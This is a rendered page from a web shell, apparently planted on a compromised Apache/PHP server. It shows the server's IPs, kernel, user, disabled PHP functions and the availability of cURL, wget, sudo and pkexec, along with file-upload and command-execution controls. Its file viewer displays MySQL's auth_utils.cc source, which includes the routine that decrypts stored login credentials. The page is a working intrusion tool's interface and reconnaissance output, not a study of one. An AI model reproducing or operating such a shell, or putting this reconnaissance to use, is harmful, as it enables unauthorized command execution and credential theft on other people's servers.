403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.68.164.104
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/client/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/client/auth_utils.cc
/*
   Copyright (c) 2012, 2023, Oracle and/or its affiliates.

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License, version 2.0,
   as published by the Free Software Foundation.

   This program is also distributed with certain software (including
   but not limited to OpenSSL) that is licensed under separate terms,
   as designated in a particular file or component or in included license
   documentation.  The authors of MySQL hereby grant you an additional
   permission to link the program and your derivative works with the
   separately licensed software that they have included with MySQL.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License, version 2.0, for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301  USA
*/
#include "client_priv.h"
#include "my_rnd.h"
#include "my_aes.h"
#include <sstream>
#include <fstream>
#include <stdint.h>
#include "auth_utils.h"

using namespace std;
/**
  Lazy whitespace trimmer
*/
void trim(string *s)
{
  stringstream trimmer;
  trimmer << *s;
  s->clear();
  trimmer >> *s;
}

int parse_cnf_file(istream &sin, map<string, string > *options,
                     const string &header)
{
  string option_name;
  string option_value;
  string token_header;
  token_header.append("[").append(header).append("]");
  try{
  while(true)
  {
    string row;
    getline(sin, row);
    trim(&row);
    if (row == token_header)
      break;
    else if (sin.eof())
      return ERR_NO_SUCH_CATEGORY;
  }

  while (!getline(sin, option_name, '=').eof())
  {
    trim(&option_name);
    if (option_name[0] == '[')
      break;
    getline(sin, option_value);
    trim(&option_value);
    if (option_name.length() > 0)
      options->insert(make_pair(option_name, option_value));
  }
  return ALL_OK;
  } catch(...)
  {
    return ERR_SYNTAX;
  }
}

#define MAX_CIPHER_LEN 4096
#define MAX_CIPHER_STORE_LEN 4U
#define LOGIN_KEY_LEN 20U

int decrypt_login_cnf_file(istream &fin, ostream &sout)
{
  try {
  fin.seekg(MAX_CIPHER_STORE_LEN, fin.beg);
  char rkey[LOGIN_KEY_LEN];
  fin.read(rkey, LOGIN_KEY_LEN);
  while(true)
  {
    int len;
    char len_buf[MAX_CIPHER_STORE_LEN];
    char cipher[MAX_CIPHER_LEN];
    fin.read(len_buf, MAX_CIPHER_STORE_LEN);
    len= sint4korr(len_buf);
    if (len == 0 || fin.eof())
      break;
    if (len > MAX_CIPHER_LEN)
      return ERR_ENCRYPTION;
    fin.read(cipher, len);
    char plain[MAX_CIPHER_LEN+1];
    int aes_length;
    aes_length= my_aes_decrypt((const unsigned char *) cipher, len,
                               (unsigned char *) plain,
                               (const unsigned char *) rkey,
                               LOGIN_KEY_LEN, my_aes_128_ecb, NULL);
    if ((aes_length > MAX_CIPHER_LEN) || (aes_length <= 0))
      return ERR_ENCRYPTION;
    plain[aes_length]= 0;
    sout << plain;
  }
  return ALL_OK;

  } catch(...)
  {
    return ERR_ENCRYPTION;
  }
}

const string g_allowed_pwd_chars("qwertyuiopasdfghjklzxcvbnm,.-1234567890+*"
                                 "QWERTYUIOPASDFGHJKLZXCVBNM;:_!#%&/()=?><");
const string get_allowed_pwd_chars() { return g_allowed_pwd_chars; }

void generate_password(string *password, int size)
{
  stringstream ss;
  rand_struct srnd;
  while(size > 0)
  {
    int ch= ((int)(my_rnd_ssl(&srnd)*100))%get_allowed_pwd_chars().size();
    ss << get_allowed_pwd_chars()[ch];
    --size;
  }
  password->assign(ss.str());
}

Youez - 2016 - github.com/yon3zu
LinuXploit